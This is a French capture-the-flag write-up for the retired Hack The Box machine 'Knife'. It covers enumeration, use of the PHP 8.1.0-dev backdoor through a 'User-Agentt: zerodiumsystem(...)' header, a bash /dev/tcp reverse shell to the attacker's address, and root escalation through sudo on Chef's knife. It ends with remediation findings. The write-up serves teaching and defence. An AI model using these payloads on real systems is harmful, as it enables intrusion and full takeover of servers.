Linux Easy
Knife : la backdoor PHP 8.1.0-dev, puis knife en root
Exploitation de la backdoor supply-chain insérée dans PHP 8.1.0-dev via un header HTTP détourné, puis élévation vers root par un sudo mal configuré sur knife.
Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.
TL;DR
- Un seul service web exposé, dont le header
X-Powered-ByrévèlePHP/8.1.0-dev. - Cette version correspond exactement à la backdoor insérée dans le dépôt officiel PHP en mars 2021 (incident supply-chain connu).
- Un header
User-Agentt(avec un t de trop) contenantzerodiumsystem("<commande>")exécute la commande côté serveur. - Reverse shell obtenu en tant que
james. sudo -lmontre quejamespeut lancer/usr/bin/knifeen root sans mot de passe :knife execsort un shell root.
Reconnaissance
nmap -sVC -T4 10.129.77.255PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)Seuls deux services : SSH et un site web Apache. Pas de piste évidente sur le titre de la page, donc direction l'énumération HTTP.
Énumération
Une requête simple sur le site suffit à révéler l'info clé, dans les headers de réponse :
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-devPHP/8.1.0-dev n'est pas une version de développement anodine : c'est exactement le build concerné par l'incident de supply-chain de mars 2021, où un commit malveillant a été poussé sur le dépôt Git officiel de PHP en se faisant passer pour un commit de Rasmus Lerdorf et Nikita Popov. Le code injecté ajoute une porte dérobée déclenchable via un header HTTP.
Foothold
Le mécanisme de la backdoor
Le code malveillant vérifie la présence d'un header nommé User-Agentt (avec un t en trop, pour ne pas entrer en collision avec le vrai User-Agent). Si sa valeur commence par zerodiumsystem, le reste est passé à eval() côté PHP, qui exécute la fonction system() avec la commande fournie.
Premier test (sans conséquence)
GET / HTTP/1.1
Host: 10.129.77.255
User-Agent: Mozilla/5.0 (X11; Linux x86_64) ...
User-Agentt: zerodiumsystem("ls")HTTP/1.1 404 Not Found
Content-Length: 25
No input file specified.Cette réponse ne confirme ni n'infirme l'exécution : c'est le message générique de php-cgi quand aucun script n'est résolu pour l'URL. Elle confirme seulement que le serveur n'a pas planté.
Reverse shell
GET / HTTP/1.1
Host: 10.129.77.255
User-Agent: Mozilla/5.0 (X11; Linux x86_64) ...
User-Agentt: zerodiumsystem("bash -c 'bash -i >& /dev/tcp/10.10.14.84/1337 0>&1'");Avec le listener lancé côté attaquant :
nc -lvnp 1337Ncat: Connection from 10.129.77.255.
bash: cannot set terminal process group (891): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ cat /home/james/user.txtLe shell est fonctionnel malgré l'avertissement no job control, qui n'empêche pas d'exécuter des commandes, seulement le contrôle de jobs interactif (Ctrl-Z, etc.).
Élévation vers root
Pistes classiques écartées
getcap -r / 2>/dev/null/usr/lib/.../gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+epRien d'anormal. Les SUID (find / -perm -4000) renvoient aussi la liste standard Ubuntu, rien à exploiter.
sudo -l : le vrai vecteur
sudo -lUser james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knifeknife est l'outil CLI de Chef (gestion de configuration / infrastructure as code). Son sous-commande exec permet d'exécuter du code Ruby arbitraire, ce qui inclut la possibilité de lancer un processus.
sudo susudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helpersudo su échoue car le shell obtenu via la backdoor n'a pas de vrai TTY attaché. Sans intérêt d'en déduire un échec de la configuration sudo : knife fonctionne très bien sans TTY puisqu'il est en NOPASSWD.
sudo knife exec -E 'exec "/bin/sh"'# cat /root/root.txtFindings
| # | Constat | Sévérité (CVSS v4) | Remédiation |
|---|---|---|---|
| F1 | Build PHP/8.1.0-dev en production, concerné par la backdoor supply-chain de mars 2021 | Critique | Ne jamais déployer un build -dev, mettre à jour vers une version stable patchée et surveiller les versions annoncées dans les headers HTTP |
| F2 | Exécution de commande arbitraire via un header HTTP détourné (User-Agentt) | Critique | Patch immédiat (migration de version), désactivation de X-Powered-By, WAF filtrant les headers non standard |
| F3 | sudo autorise knife sans mot de passe pour un utilisateur non administrateur, alors que knife exec permet l'exécution de code Ruby arbitraire équivalente à un accès root complet | Critique | Retirer knife de la configuration sudo de james, ou restreindre ses sous-commandes autorisées |
Leçons apprises
- Le header
X-Powered-Byreste une source d'info précieuse : une version-deven production est toujours suspecte et vaut la peine d'être recherchée (incidents connus, CVE, backdoors). - La backdoor PHP 8.1.0-dev (mars 2021) est un bon réflexe à garder en tête dès qu'un
X-Powered-By: PHP/8.1.0-devapparaît : headerUser-Agentt+zerodiumsystem("<cmd>"). - Pour un reverse shell bash, ne jamais mettre
-cjuste avant-i:bash -i >& /dev/tcp/IP/PORT 0>&1fonctionne,bash -c -i >& ...échoue silencieusement car-iest pris comme argument de-c. sudo suqui échoue pour absence de TTY ne veut pas dire que la voie sudo est bouchée : toujours vérifier la commande précise autorisée parsudo -l, iciknife, qui fonctionne sans TTY en NOPASSWD.knife exec -E 'exec "/bin/sh"'est le réflexe GTFOBins-like pour n'importe quel sudo NOPASSWD sur l'outil Chef.